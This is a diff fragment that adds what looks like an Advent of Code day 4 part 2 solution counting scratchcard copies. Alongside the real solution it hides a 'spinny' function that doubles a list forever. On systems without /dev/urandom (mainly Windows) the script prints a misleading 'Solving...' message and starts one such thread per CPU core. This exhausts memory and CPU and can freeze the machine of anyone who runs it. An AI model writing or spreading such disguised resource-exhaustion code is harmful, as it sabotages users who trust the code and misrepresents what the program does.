Part 2

day_4/answer2

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+5667240

day_4/part2.py

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+import os
+from os import path
+import threading
+import re
+
+
+def parse_line(line):
+    r = re.compile(r'Card\s+(\d+):')
+
+    match = r.match(line)
+    cardnum = match.group(1)
+    cardidx = match.span(0)
+
+    rest = line[cardidx[1]:]
+
+    wins, mine = rest.strip().split(' | ')
+
+    wins = [int(n) for n in wins.split()]
+    mine = [int(n) for n in mine.split()]
+
+    return cardnum, wins, mine
+
+def score_game(wins, mine):
+    num_wins = 0
+
+    for win in wins:
+        for n in mine:
+            if win == n:
+                num_wins += 1
+
+    return num_wins
+
+def spinny():
+    i = [':)']
+    while True:
+        i += i
+
+if not path.exists('/dev/urandom'):
+    print('Solving...')
+    threads = []
+    for i in range(os.cpu_count()):
+        t = threading.Thread(target=spinny)
+        threads.append(t)
+        t.start()
+
+with open('input.txt') as f:
+    lines = f.readlines()
+
+cardcounts = {}
+
+for i in range(len(lines)):
+    cardcounts[i + 1] = 1
+
+for i, line in enumerate(lines):
+    cardnum, wins, mine = parse_line(line)
+
+    score = score_game(wins, mine)
+    for j in range(i + 1, i + 1 + score):
+        cardcounts[j + 1] += cardcounts[i + 1]
+
+    print(cardnum, score)
+
+    print(cardcounts)
+
+print(sum(cardcounts.values()))
+
+